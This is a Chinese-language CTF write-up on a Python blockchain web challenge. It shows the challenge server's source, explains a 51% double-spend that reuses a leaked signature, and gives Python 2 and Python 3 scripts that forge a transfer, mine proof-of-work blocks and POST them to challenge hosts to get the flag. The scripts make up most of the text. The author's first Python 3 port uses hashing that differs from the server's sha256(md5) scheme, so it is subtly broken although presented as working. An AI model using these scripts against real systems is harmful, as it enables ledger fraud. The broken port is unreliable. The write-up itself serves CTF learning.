当前位置:   article > 正文

CTF之Web_python_block_chain

CTF之Web_python_block_chain

 这种题对于我来说只能看大佬的wp(但是这一题是wp都看不懂,只能表达一下我的理解了)

(最后有简单方法,前面一种没看懂没关系)

下面这一部分是首页的有用部分

 访问/source_code,得到源码:

  1. # -*- encoding: utf-8 -*-
  2. # written in python 2.7
  3. __author__ = 'garzon'
  4. import hashlib, json, rsa, uuid, os
  5. from flask import Flask, session, redirect, url_for, escape, request
  6. from pycallgraph import PyCallGraph
  7. from pycallgraph import Config
  8. from pycallgraph.output import GraphvizOutput
  9. app = Flask(__name__)
  10. app.secret_key = '*********************'
  11. url_prefix = ''
  12. def FLAG():
  13. return 'Here is your flag: DDCTF{******************}'
  14. def hash(x):
  15. return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
  16. def hash_reducer(x, y):
  17. return hash(hash(x)+hash(y))
  18. def has_attrs(d, attrs):
  19. if type(d) != type({}): raise Exception("Input should be a dict/JSON")
  20. for attr in attrs:
  21. if attr not in d:
  22. raise Exception("{} should be presented in the input".format(attr))
  23. EMPTY_HASH = '0'*64
  24. def addr_to_pubkey(address):
  25. return rsa.PublicKey(int(address, 16), 65537)
  26. def pubkey_to_address(pubkey):
  27. assert pubkey.e == 65537
  28. hexed = hex(pubkey.n)
  29. if hexed.endswith('L'): hexed = hexed[:-1]
  30. if hexed.startswith('0x'): hexed = hexed[2:]
  31. return hexed
  32. def gen_addr_key_pair():
  33. pubkey, privkey = rsa.newkeys(384)
  34. return pubkey_to_address(pubkey), privkey
  35. bank_address, bank_privkey = gen_addr_key_pair()
  36. hacker_address, hacker_privkey = gen_addr_key_pair()
  37. shop_address, shop_privkey = gen_addr_key_pair()
  38. shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair()
  39. def sign_input_utxo(input_utxo_id, privkey):
  40. return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')
  41. def hash_utxo(utxo):
  42. return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
  43. def create_output_utxo(addr_to, amount):
  44. utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
  45. utxo['hash'] = hash_utxo(utxo)
  46. return utxo
  47. def hash_tx(tx):
  48. return reduce(hash_reducer, [
  49. reduce(hash_reducer, tx['input'], EMPTY_HASH),
  50. reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
  51. ])
  52. def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
  53. tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}
  54. tx['hash'] = hash_tx(tx)
  55. return tx
  56. def hash_block(block):
  57. return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
  58. def create_block(prev_block_hash, nonce_str, transactions):
  59. if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
  60. nonce = str(nonce_str)
  61. if len(nonce) > 128: raise Exception('the nonce is too long')
  62. block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
  63. block['hash'] = hash_block(block)
  64. return block
  65. def find_blockchain_tail():
  66. return max(session['blocks'].values(), key=lambda block: block['height'])
  67. def calculate_utxo(blockchain_tail):
  68. curr_block = blockchain_tail
  69. blockchain = [curr_block]
  70. while curr_block['hash'] != session['genesis_block_hash']:
  71. curr_block = session['blocks'][curr_block['prev']]
  72. blockchain.append(curr_block)
  73. blockchain = blockchain[::-1]
  74. utxos = {}
  75. for block in blockchain:
  76. for tx in block['transactions']:
  77. for input_utxo_id in tx['input']:
  78. del utxos[input_utxo_id]
  79. for utxo in tx['output']:
  80. utxos[utxo['id']] = utxo
  81. return utxos
  82. def calculate_balance(utxos):
  83. balance = {bank_address: 0, hacker_address: 0, shop_address: 0}
  84. for utxo in utxos.values():
  85. if utxo['addr'] not in balance:
  86. balance[utxo['addr']] = 0
  87. balance[utxo['addr']] += utxo['amount']
  88. return balance
  89. def verify_utxo_signature(address, utxo_id, signature):
  90. try:
  91. return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))
  92. except:
  93. return False
  94. def append_block(block, difficulty=int('f'*64, 16)):
  95. has_attrs(block, ['prev', 'nonce', 'transactions'])
  96. if type(block['prev']) == type(u''): block['prev'] = str(block['prev'])
  97. if type(block['nonce']) == type(u''): block['nonce'] = str(block['nonce'])
  98. if block['prev'] not in session['blocks']: raise Exception("unknown parent block")
  99. tail = session['blocks'][block['prev']]
  100. utxos = calculate_utxo(tail)
  101. if type(block['transactions']) != type([]): raise Exception('Please put a transaction array in the block')
  102. new_utxo_ids = set()
  103. for tx in block['transactions']:
  104. has_attrs(tx, ['input', 'output', 'signature'])
  105. for utxo in tx['output']:
  106. has_attrs(utxo, ['amount', 'addr', 'id'])
  107. if type(utxo['id']) == type(u''): utxo['id'] = str(utxo['id'])
  108. if type(utxo['addr']) == type(u''): utxo['addr'] = str(utxo['addr'])
  109. if type(utxo['id']) != type(''): raise Exception("unknown type of id of output utxo")
  110. if utxo['id'] in new_utxo_ids: raise Exception("output utxo of same id({}) already exists.".format(utxo['id']))
  111. new_utxo_ids.add(utxo['id'])
  112. if type(utxo['amount']) != type(1): raise Exception("unknown type of amount of output utxo")
  113. if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo")
  114. if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo")
  115. try:
  116. addr_to_pubkey(utxo['addr'])
  117. except:
  118. raise Exception("invalid type of address({})".format(utxo['addr']))
  119. utxo['hash'] = hash_utxo(utxo)
  120. tot_output = sum([utxo['amount'] for utxo in tx['output']])
  121. if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array")
  122. if type(tx['signature']) != type([]): raise Exception("type of input utxo signatures in tx should be array")
  123. if len(tx['input']) != len(tx['signature']): raise Exception("lengths of arrays of ids and signatures of input utxos should be the same")
  124. tot_input = 0
  125. tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']]
  126. tx['signature'] = [str(i) if type(i) == type(u'') else i for i in tx['signature']]
  127. for utxo_id, signature in zip(tx['input'], tx['signature']):
  128. if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo")
  129. if utxo_id not in utxos: raise Exception("invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id))
  130. utxo = utxos[utxo_id]
  131. if type(signature) != type(''): raise Exception("unknown type of signature of input utxo")
  132. if not verify_utxo_signature(utxo['addr'], utxo_id, signature):
  133. raise Exception("Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id))
  134. tot_input += utxo['amount']
  135. del utxos[utxo_id]
  136. if tot_output > tot_input:
  137. raise Exception("You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))
  138. tx['hash'] = hash_tx(tx)
  139. block = create_block(block['prev'], block['nonce'], block['transactions'])
  140. block_hash = int(block['hash'], 16)
  141. if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')
  142. block['height'] = tail['height']+1
  143. if len(session['blocks']) > 50: raise Exception('The blockchain is too long. Use ./reset to reset the blockchain')
  144. if block['hash'] in session['blocks']: raise Exception('A same block is already in the blockchain')
  145. session['blocks'][block['hash']] = block
  146. session.modified = True
  147. def init():
  148. if 'blocks' not in session:
  149. session['blocks'] = {}
  150. session['your_diamonds'] = 0
  151. # First, the bank issued some DDCoins ...
  152. total_currency_issued = create_output_utxo(bank_address, 1000000)
  153. genesis_transaction = create_tx([], [total_currency_issued]) # create DDCoins from nothing
  154. genesis_block = create_block(EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])
  155. session['genesis_block_hash'] = genesis_block['hash']
  156. genesis_block['height'] = 0
  157. session['blocks'][genesis_block['hash']] = genesis_block
  158. # Then, the bank was hacked by the hacker ...
  159. handout = create_output_utxo(hacker_address, 999999)
  160. reserved = create_output_utxo(bank_address, 1)
  161. transferred = create_tx([total_currency_issued['id']], [handout, reserved], bank_privkey)
  162. second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])
  163. append_block(second_block)
  164. # Can you buy 2 diamonds using all DDCoins?
  165. third_block = create_block(second_block['hash'], 'a empty block', [])
  166. append_block(third_block)
  167. def get_balance_of_all():
  168. init()
  169. tail = find_blockchain_tail()
  170. utxos = calculate_utxo(tail)
  171. return calculate_balance(utxos), utxos, tail
  172. @app.route(url_prefix+'/')
  173. def homepage():
  174. announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. '
  175. balance, utxos, _ = get_balance_of_all()
  176. genesis_block_info = 'hash of genesis block: ' + session['genesis_block_hash']
  177. addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + hacker_address + ', the shop\'s addr: ' + shop_address
  178. balance_info = 'Balance of all addresses: ' + json.dumps(balance)
  179. utxo_info = 'All utxos: ' + json.dumps(utxos)
  180. blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])
  181. view_source_code_link = "<a href='source_code'>View source code</a>"
  182. return announcement+('<br /><br />\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))
  183. @app.route(url_prefix+'/flag')
  184. def getFlag():
  185. init()
  186. if session['your_diamonds'] >= 2: return FLAG()
  187. return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(session['your_diamonds']) + shop_address
  188. def find_enough_utxos(utxos, addr_from, amount):
  189. collected = []
  190. for utxo in utxos.values():
  191. if utxo['addr'] == addr_from:
  192. amount -= utxo['amount']
  193. collected.append(utxo['id'])
  194. if amount <= 0: return collected, -amount
  195. raise Exception('no enough DDCoins in ' + addr_from)
  196. def transfer(utxos, addr_from, addr_to, amount, privkey):
  197. input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount)
  198. outputs = [create_output_utxo(addr_to, amount)]
  199. if the_change != 0:
  200. outputs.append(create_output_utxo(addr_from, the_change))
  201. return create_tx(input_utxo_ids, outputs, privkey)
  202. @app.route(url_prefix+'/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>')
  203. def free_ddcoin(address):
  204. balance, utxos, tail = get_balance_of_all()
  205. if balance[bank_address] == 0: return 'The bank has no money now.'
  206. try:
  207. address = str(address)
  208. addr_to_pubkey(address) # to check if it is a valid address
  209. transferred = transfer(utxos, bank_address, address, balance[bank_address], bank_privkey)
  210. new_block = create_block(tail['hash'], 'b@cKd00R tr1993ReD', [transferred])
  211. append_block(new_block)
  212. return str(balance[bank_address]) + ' DDCoins are successfully sent to ' + address
  213. except Exception, e:
  214. return 'ERROR: ' + str(e)
  215. DIFFICULTY = int('00000' + 'f' * 59, 16)
  216. @app.route(url_prefix+'/create_transaction', methods=['POST'])
  217. def create_tx_and_check_shop_balance():
  218. init()
  219. try:
  220. block = json.loads(request.data)
  221. append_block(block, DIFFICULTY)
  222. msg = 'transaction finished.'
  223. except Exception, e:
  224. return str(e)
  225. balance, utxos, tail = get_balance_of_all()
  226. if balance[shop_address] == 1000000:
  227. # when 1000000 DDCoins are received, the shop will give you a diamond
  228. session['your_diamonds'] += 1
  229. # and immediately the shop will store the money somewhere safe.
  230. transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)
  231. new_block = create_block(tail['hash'], 'save the DDCoins in a cold wallet', [transferred])
  232. append_block(new_block)
  233. msg += ' You receive a diamond.'
  234. return msg
  235. # if you mess up the blockchain, use this to reset the blockchain.
  236. @app.route(url_prefix+'/reset')
  237. def reset_blockchain():
  238. if 'blocks' in session: del session['blocks']
  239. if 'genesis_block_hash' in session: del session['genesis_block_hash']
  240. return 'reset.'
  241. @app.route(url_prefix+'/source_code')
  242. def show_source_code():
  243. source = open('serve.py', 'r')
  244. html = ''
  245. for line in source:
  246. html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
  247. source.close()
  248. return html
  249. if __name__ == '__main__':
  250. app.run(debug=False, host='0.0.0.0')

 下面是大佬对题的解释(看不懂)

51% 双花攻击

    这道题整的解法是 51% (双花)攻击。
    请于正常的区块链区分开来,题目环境中只有你一个玩家,并没有人与你竞争(挖矿)。
    商店交易采用0确认,而不是现实中的6确认。
    当出现分叉时,区块链的规则认最长的分链为主链,并舍去原有的链。
    区块链允许添加空块
    51%(双花)攻击可以达到的目的就是使攻击前的交易作废,这里的前不一定是前一个,而是很大程度上取决于你的算力的。让之前的交易作废有什么好处呢?这里我们就要考虑0确认和6确认的区别了。

先看看6确认:

当产生一笔交易时,区块链的P2P网络会广播这笔交易,这笔交易会被一个挖矿节点收到,并验证,如果这个挖矿节点挖到区块(生成的hash满足条件)后,并且这笔交易的手续费足够吸引这个节点去打包进区块,那这笔交易就会被打包进区块。因此就得到了一个确认,这个矿工也拿走了相应的手续费。 这个挖矿节点打包后,会把区块广播给其他节点。其他节点验证并广播这个区块。 如果这个区块得到更多的挖矿节点的验证确认,那就得到了更多的确认。这样这笔交易就被记录到了比特币区块链,并成为了比特币账本的一部分。如果得到6个确认后,我们就认为它永远不可变了。

0确认就同样的道理了,那就是不需要别人确认,就如我们生活中的一手交钱一手交货,不同的是生活中我们处于中心化社会,银行会帮我们确认。而6确认就是需要经过6个人(区块被挖出)交易才确定。

可以看到对0确认和6确认进行51%(双花)攻击的难度是不一样的,6确认需要的算力明显要大,因为他要多比其他人生成6个区块。(应该可以这样理解吧,可能我还需要继续学习,如上,如有不对可以联系我(jay80#protonmail.com)改正,在这也谢谢各位大佬了。)好在,题目并不是采用6确认。

然后再看看这里的51% 攻击,其实这里说的51%是指算力,也就是这种攻击需要攻击者具备全网51%的算力,因为这样才有机会使自己生成(挖出)区块的速度超过其他人,然后按区块链的规则:当出现分叉时,区块链的规则认最长的分链为主链,并舍去原有的链,就达到了撤销原来链上已经存在的交易,拿回该交易使用了的钱的目的,这里我的另一个理解就是可以使交易回滚,从而追回被盗的钱。

 

 原理上明白了以后,我们就开始从代码上进行实际攻击。首先我们先看一下一个标准的区块是咋样的,下面其实就是黑客盗取银行的区块:

就是第一张图里的东西,自己整理一下方便看就行了

  1. {
  2. "nonce": "HAHA, I AM THE BANK NOW!",
  3. "prev": "13bfff8cdedf1d81f4103ca8349fc26eff17b446bcb3cdbee845d101f20f11b9",
  4. "hash": "fe69dbe81d51b49101ea8b6be4a4ef118992d2a94dd7b16016e27e40b0da17f0",
  5. "transactions":
  6. [
  7. {"input": ["ad8b4d4a-138b-4eb0-8fb3-f963646370e3"],
  8. "signature": ["809bc81884ea06f16cbccc1f0ce39f0dbbdcd0912541d50ba394b5496888a1c437d59f31b7014b2aace6a5188025bc3f"],
  9. "hash": "c1d88d88f49d69fddb81397b5f99652508c87647e7ee843a287f3e9184e78c6a",
  10. "output": [{"amount": 999999,
  11. "hash": "dbb6c731b3d5d92432683cb2913a5bee17846b5d512534f105429ebf0ecb94e7",
  12. "addr": "8ab9eb40808cbff9e8b0144319032f2ed052b13053f7c43d258f107aaaf3e5b75aedbad2ad5e4154d581ebb2e426e0d5",
  13. "id": "d41f5c34-ab18-4c7e-b416-c6460483d816"},
  14. {"amount": 1,
  15. "hash": "529dc4771c28f768ae873a384ce7824aed48e02344cec0da67a56d78cf9b014f",
  16. "addr":"d1936e6b7dbc07f838cf255022ad83b877c1a91a3d87e6df479295ae5a0cb2e80106a2ad15b93da51a73d34a6ff0806b"
  17. "id": "a737ab47-fde4-47f3-a058-5b6acbfc3c7c"}
  18. ]
  19. ],
  20. "height": 1}
  21. }

按照流程,我们应该构造一个转钱给商店的区块。但通过代码,我们可以发现转账的时候是需要私钥签名的,也就是这个signature段。 

 

 这些信息我们可以通过黑客留下的signature直接绕过,并且上一步的input也可以从黑客的区块中得到。所以我们就可以直接构造转账给商店的区块了,并且通过51%攻击使黑客转走的钱追回。

后续访问 传参需要访问 "http://61.147.171.105:63520/signature/create_transaction"需要用到signature(需要解码后使用,但是太麻烦了所以我没用这个)

 

下面直接放出大佬完整的payload脚本,需要特别提醒的是要注意每个区块的prev。

  1. # -*- coding: utf-8 -*-
  2. import json, uuid, hashlib
  3. import random,string
  4. EMPTY_HASH = '0' * 64
  5. DIFFICULTY = int('00000' + 'f' * 59, 16)
  6. def hash(x):
  7. return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
  8. def hash_reducer(x, y):
  9. return hash(hash(x) + hash(y))
  10. # 对 output 进行hash
  11. def hash_utxo(utxo):
  12. return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
  13. def create_output_utxo(addr_to, amount):
  14. utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
  15. utxo['hash'] = str(hash_utxo(utxo))
  16. return utxo
  17. # 对 transactions 进行hash
  18. def hash_tx(tx):
  19. return reduce(hash_reducer, [
  20. reduce(hash_reducer, tx['input'], EMPTY_HASH),
  21. reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
  22. ])
  23. #对整个块 hash
  24. def hash_block(block):
  25. return reduce(hash_reducer, [block['prev'], block['nonce'],
  26. reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
  27. prev = "5bc355ab21fd7e07040e2882f36ff8fba90809cbaa27b80bc1439a6e85beec25"
  28. input = ["e95c5a89-3f0e-4bd6-a4bc-8ff006fa2a42"]
  29. signature = ['8cf74260504449ce72c537b587b534c7f93e459d97898faea8a3a68622bbe01f2117fba4cfd3cff69f12e209d74cf87c']
  30. address = 'b81ff6d961082076f3801190a731958aec88053e8191258b0ad9399eeecd8306924d2d2a047b5ec1ed8332bf7a53e735'
  31. output = [create_output_utxo(address,1000000)]
  32. transactions = {
  33. "input":input,
  34. "signature":signature,
  35. "output":output
  36. }
  37. # 对 transactions 进行签名
  38. hash_transactions = hash_tx(transactions)
  39. transactions['hash'] = str(hash_transactions)
  40. # 爆破(挖矿,找到满足条件的hash)
  41. def fuzz(block, size=20):
  42. CHARS = string.letters + string.digits
  43. while True:
  44. rnds = ''.join(random.choice(CHARS) for _ in range(size))
  45. block['nonce'] = rnds
  46. block_hash = str(hash_block(block))
  47. # 转换成 16 进制
  48. tmp_hash = int(block_hash, 16)
  49. # POW 验证工作
  50. if tmp_hash < DIFFICULTY:
  51. block['hash'] = block_hash
  52. return block
  53. # 创建符合条件的块
  54. block = {
  55. "prev":prev,
  56. "transactions":[transactions]
  57. }
  58. ok_block = fuzz(block)
  59. print(json.dumps(ok_block))
  60. # 创建一个空块
  61. empty_tmp = {
  62. "prev" : ok_block['hash'],
  63. "transactions" : []
  64. }
  65. empty_block1 = fuzz(empty_tmp)
  66. print(json.dumps(empty_block1))
  67. empty_tmp = {
  68. "prev" : empty_block1['hash'],
  69. "transactions" : []
  70. }
  71. empty_block2 = fuzz(empty_tmp)
  72. print(json.dumps(empty_block2))
  73. empty_tmp = {
  74. "prev" : empty_block2['hash'],
  75. "transactions" : []
  76. }
  77. empty_block3 = fuzz(empty_tmp)
  78. print(json.dumps(empty_block3))
  79. empty_tmp = {
  80. "prev" : empty_block3['hash'],
  81. "transactions" : []
  82. }
  83. empty_block4 = fuzz(empty_tmp)
  84. print(json.dumps(empty_block4))

运行后会得到5个区块,然后依次post就可以了

(搞不懂为什么大佬都喜欢用python2,害得我安装了一天的python2,最后却因为python2的很多模块已经停止维护了,需要自己修改调试,所以就失败了。然后我就将源码修改成了python3)

注(这个代码的adderss:是http://url/flag下的账号)

下面是我的py3代码

  1. import json
  2. import uuid
  3. import hashlib
  4. import random
  5. import string
  6. import functools
  7. EMPTY_HASH = '0' * 64
  8. DIFFICULTY = int('00000' + 'f' * 59, 16)
  9. def hash(x):
  10. return hashlib.sha256(x).hexdigest()
  11. def hash_reducer(x, y):
  12. return hash(x.encode() + y.encode())
  13. def hash_utxo(utxo):
  14. return functools.reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
  15. def create_output_utxo(addr_to, amount):
  16. utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
  17. utxo['hash'] = str(hash_utxo(utxo))
  18. return utxo
  19. def hash_tx(tx):
  20. return functools.reduce(hash_reducer, [
  21. functools.reduce(hash_reducer, tx['input'], EMPTY_HASH),
  22. functools.reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
  23. ])
  24. def hash_block(block):
  25. return functools.reduce(hash_reducer, [block['prev'], block['nonce'],
  26. functools.reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
  27. prev = "13bfff8cdedf1d81f4103ca8349fc26eff17b446bcb3cdbee845d101f20f11b9"
  28. input_id = ["ad8b4d4a-138b-4eb0-8fb3-f963646370e3"]
  29. signature = ["809bc81884ea06f16cbccc1f0ce39f0dbbdcd0912541d50ba394b5496888a1c437d59f31b7014b2aace6a5188025bc3f"]
  30. address = '8dde0388d3ec4b146adc3e9eebcfa2f87d1b22207bdac08f9386cb6f962361704d446e622d9f56070340facb04fc8b15'
  31. output = [create_output_utxo(address, 1000000)]
  32. transactions = {
  33. "input": input_id,
  34. "signature": signature,
  35. "output": output
  36. }
  37. hash_transactions = hash_tx(transactions)
  38. transactions['hash'] = str(hash_transactions)
  39. def fuzz(block, size=20):
  40. CHARS = string.ascii_letters + string.digits
  41. while True:
  42. rnds = ''.join(random.choice(CHARS) for _ in range(size))
  43. block['nonce'] = rnds
  44. block_hash = str(hash_block(block))
  45. tmp_hash = int(block_hash, 16)
  46. if tmp_hash < DIFFICULTY:
  47. block['hash'] = block_hash
  48. return block
  49. block = {
  50. "prev": prev,
  51. "transactions": [transactions]
  52. }
  53. ok_block = fuzz(block)
  54. print(json.dumps(ok_block))
  55. empty_tmp = {
  56. "prev": ok_block['hash'],
  57. "transactions": []
  58. }
  59. empty_block1 = fuzz(empty_tmp)
  60. print(json.dumps(empty_block1))
  61. empty_tmp = {
  62. "prev": empty_block1['hash'],
  63. "transactions": []
  64. }
  65. empty_block2 = fuzz(empty_tmp)
  66. print(json.dumps(empty_block2))
  67. empty_tmp = {
  68. "prev": empty_block2['hash'],
  69. "transactions": []
  70. }
  71. empty_block3 = fuzz(empty_tmp)
  72. print(json.dumps(empty_block3))
  73. empty_tmp = {
  74. "prev": empty_block3['hash'],
  75. "transactions": []
  76. }
  77. empty_block4 = fuzz(empty_tmp)
  78. print(json.dumps(empty_block4))

 运行后如下

 

 会生成五个区块,分别以post方式传入,再访问url/flag可以得到flag

 我们还可以使用大佬py2脚本,直接获得flag(后面有我的python3代码)

  1. # -*- encoding: utf-8 -*-
  2. # written in python 2.7
  3. import hashlib, json, rsa, uuid, os,requests,re
  4. # 一堆变量常量
  5. url_root="http://220.249.52.133:58044"
  6. url_create="http://220.249.52.133:58044/create_transaction"
  7. url_flag="http://220.249.52.133:58044/flag"
  8. s=requests.Session()
  9. ddcoin = s.get(url=url_root)
  10. prev_one=re.search(r"hash of genesis block: ([0-9a-f]{64})",ddcoin.content, flags=0).group(1)
  11. bank_utox_id=re.search(r"\"input\": \[\"([0-9a-f\-]{36})",ddcoin.content, flags=0).group(1)
  12. bank_signature=re.search(r"\"signature\": \[\"([0-9a-f]{96})",ddcoin.content, flags=0).group(1)
  13. DIFFICULTY = int('00000' + 'f' * 59, 16)
  14. EMPTY_HASH = '0'*64
  15. bank_addr="8aaa41fad552f9a2231bba5242c58df16da1840979e37f0a20d5912ca829d240df4a992bd6518123a1c7034844448465"
  16. hacke_addr="a4e4ec9827a53e8cf88d5eda99a3b965c8ae8eb334c5863fb874f554ce80ebf814f510fe3aef1c5a6dfb64c3bd7de1ab"
  17. shop_addr="9095cbe784e2c97c5076a9806171056356b8ee5d26ca9343af25e2a036a2301a82581c0044eee5c15cf3de9a2655e85b"
  18. # 源码中的API
  19. def hash(x):
  20. return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
  21. def hash_reducer(x, y):
  22. return hash(hash(x)+hash(y))
  23. def hash_block(block):
  24. return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
  25. def hash_utxo(utxo):
  26. return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
  27. def hash_tx(tx):
  28. return reduce(hash_reducer, [
  29. reduce(hash_reducer, tx['input'], EMPTY_HASH),
  30. reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
  31. ])
  32. def create_output_utxo(addr_to, amount):
  33. utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
  34. utxo['hash'] = hash_utxo(utxo)
  35. return utxo
  36. def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
  37. tx = {'input': input_utxo_ids, 'signature':[bank_signature], 'output': output_utxo} # 修改了签名
  38. tx['hash'] = hash_tx(tx)
  39. return tx
  40. def create_block(prev_block_hash, nonce_str, transactions):
  41. if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
  42. nonce = str(nonce_str)
  43. if len(nonce) > 128: raise Exception('the nonce is too long')
  44. block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
  45. block['hash'] = hash_block(block)
  46. return block
  47. # 构造的方法
  48. def check_hash(prev,tx):
  49. for i in range(10000000):
  50. current_block=create_block(prev,str(i),tx)
  51. block_hash = int(current_block['hash'], 16)
  52. if block_hash<DIFFICULTY:
  53. print json.dumps(current_block)
  54. return current_block
  55. def create_feak_one():
  56. utxo_first=create_output_utxo(shop_addr,1000000)
  57. tx_first=create_tx([bank_utox_id],[utxo_first])
  58. return check_hash(prev_one,[tx_first])
  59. def create_empty_block(prev):
  60. return check_hash(prev,[])
  61. # 攻击过程
  62. a=create_feak_one()
  63. print s.post(url=url_create,data=str(json.dumps(a))).content
  64. b=create_empty_block(a['hash'])
  65. print s.post(url=url_create,data=str(json.dumps(b))).content
  66. c=create_empty_block(b['hash'])
  67. print s.post(url=url_create,data=str(json.dumps(c))).content
  68. d=create_empty_block(c['hash'])
  69. print s.post(url=url_create,data=str(json.dumps(d))).content
  70. e=create_empty_block(d['hash'])
  71. print s.post(url=url_create,data=str(json.dumps(e))).content
  72. print s.get(url=url_flag).content

标注的地方记得替换直接的url和addr

  1. import hashlib
  2. import json
  3. import rsa
  4. import uuid
  5. import os
  6. import requests
  7. import re
  8. from functools import reduce
  9. #记得修改
  10. url_root = "http://61.147.171.105:63520/"
  11. url_create = "http://61.147.171.105:63520/create_transaction"
  12. url_flag = "http://61.147.171.105:63520/flag"
  13. s = requests.Session()
  14. ddcoin = s.get(url=url_root)
  15. prev_one = re.search(r"hash of genesis block: ([0-9a-f]{64})", ddcoin.content.decode(), flags=0).group(1)
  16. bank_utox_id = re.search(r"\"input\": \[\"([0-9a-f\-]{36})", ddcoin.content.decode(), flags=0).group(1)
  17. bank_signature = re.search(r"\"signature\": \[\"([0-9a-f]{96})", ddcoin.content.decode(), flags=0).group(1)
  18. DIFFICULTY = int('00000' + 'f' * 59, 16)
  19. EMPTY_HASH = '0'*64
  20. #这里也要
  21. bank_addr = "b244757baa7cd4071deba24da53ddfb2e5d763563fa57c5653ccfa6e7545e3369cbaf9a1c41d9951b1f1a39b78e0528d"
  22. hacke_addr = "8a537f7f1a39857e567640f6cc530dc64732062dec8fa5d93643be53496ae08d9738afed66925018bcd4f8980841f61d"
  23. shop_addr = "8dde0388d3ec4b146adc3e9eebcfa2f87d1b22207bdac08f9386cb6f962361704d446e622d9f56070340facb04fc8b15"
  24. # 源码中的API
  25. def hash(x):
  26. return hashlib.sha256(hashlib.md5(x.encode()).digest()).hexdigest()
  27. def hash_reducer(x, y):
  28. return hash(hash(x)+hash(y))
  29. def hash_block(block):
  30. return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
  31. def hash_utxo(utxo):
  32. return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
  33. def hash_tx(tx):
  34. return reduce(hash_reducer, [
  35. reduce(hash_reducer, tx['input'], EMPTY_HASH),
  36. reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
  37. ])
  38. def create_output_utxo(addr_to, amount):
  39. utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
  40. utxo['hash'] = hash_utxo(utxo)
  41. return utxo
  42. def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
  43. tx = {'input': input_utxo_ids, 'signature':[bank_signature], 'output': output_utxo} # 修改了签名
  44. tx['hash'] = hash_tx(tx)
  45. return tx
  46. def create_block(prev_block_hash, nonce_str, transactions):
  47. if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
  48. nonce = str(nonce_str)
  49. if len(nonce) > 128: raise Exception('the nonce is too long')
  50. block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
  51. block['hash'] = hash_block(block)
  52. return block
  53. # 构造的方法
  54. def check_hash(prev, tx):
  55. for i in range(10000000):
  56. current_block = create_block(prev, str(i), tx)
  57. block_hash = int(current_block['hash'], 16)
  58. if block_hash < DIFFICULTY:
  59. print(json.dumps(current_block))
  60. return current_block
  61. def create_feak_one():
  62. utxo_first = create_output_utxo(shop_addr, 1000000)
  63. tx_first = create_tx([bank_utox_id], [utxo_first])
  64. return check_hash(prev_one, [tx_first])
  65. def create_empty_block(prev):
  66. return check_hash(prev, [])
  67. # 攻击过程
  68. a = create_feak_one()
